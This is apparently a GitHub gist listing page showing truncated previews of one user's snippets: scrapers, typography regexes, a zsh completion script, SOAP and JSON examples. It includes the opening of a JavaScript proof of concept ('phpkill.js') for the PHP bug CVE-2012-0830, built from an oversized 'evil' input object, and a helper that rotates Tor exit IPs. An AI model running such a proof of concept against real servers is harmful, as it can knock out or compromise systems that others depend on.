Skip to content

Instantly share code, notes, and snippets.

#!/usr/bin/env python
import string, re
import requests
URL_DL = ''
RE_HREF = re.compile(r'<a href="/stare-hry/(.*?).php">')
urls = []
starenka /
Created Oct 1, 2012 — forked from msgre/
Texy typoška
import re
# sada regularnich vyrazu pro lepsi typosku
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF'
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ...
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum
starenka / gist:3787412
Created Sep 26, 2012 — forked from ehmo/gist:1349819
Request a new IP address from TOR in Python
View gist:3787412
def NewTorIP():
s = socket.socket()
s.connect(('localhost', 9051))
r = s.recv(1024)
if r.startswith('250'):
s.send("signal NEWNYM\r\n")
r = s.recv(1024)
if r.startswith('250'):
return True
starenka /
Created Aug 30, 2012 — forked from jasonrudolph/
Programming Achievements: How to Level Up as a Developer
starenka / _hg
Created Mar 29, 2012 — forked from yuitowest/_hg
Zsh completion script for mercurial
View _hg
#compdef hg
# Zsh completion script for mercurial. Rename this file to _hg and copy
# it into your zsh function path (/usr/share/zsh/site-functions for
# instance)
# If you do not want to install it globally, you can copy it somewhere
# else and add that directory to $fpath. This must be done before
# compinit is called. If the file is copied to ~/.zsh.d, your ~/.zshrc
# file could look like this:
starenka /
Created Mar 13, 2012 — forked from kracekumar/
parallelpip demo
#! -*- Coding: utf-8 -*-
from gevent import monkey
import gevent
import time
from envoy import run
from sys import exit, argv
import subprocess
import pip
View phpkill.js
// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@i0n1c)
// Generate 1000 normal keys and one array
function createEvilObj () {
var evil_obj = {};
for (var i = 0; i < 1001; i++) {
evil_obj[i] = 1;
evil_obj['kill[]'] = 'kill';
import simplejson as json
import lxml
class objectJSONEncoder(json.JSONEncoder):
"""A specialized JSON encoder that can handle simple lxml objectify types
>>> from lxml import objectify
>>> obj = objectify.fromstring("<Book><price>1.50</price><author>W. Shakespeare</author></Book>")
>>> objectJSONEncoder().encode(obj)
'{"price": 1.5, "author": "W. Shakespeare"}'
starenka /
Created Nov 7, 2011 — forked from sputnikus/
SOAP in Python - examples
import logging
from rpclib.application import Application
from rpclib.decorator import srpc
from rpclib.service import ServiceBase
from rpclib.model.primitive import String
from rpclib.model.primitive import Integer
from rpclib.model.complex import Iterable
from rpclib.interface.wsdl import Wsdl11
from rpclib.protocol.soap import Soap11
starenka /
Created Sep 15, 2011
Aktuální Respekt v HTML
# Scrapuje, aby to shráblo aktuální číslo v HTML.
# Nestahuje to obrázky, ale vidět jsou, protože maj absolutní URL,
# tohle se dá spravit pomocí pář řádků.
# Bohužel hapruje diakritika, bude tam někde potřeba pořešit přes iconv nebo tak něco.
import mechanize
from pyquery import PyQuery as pq
usr = "username"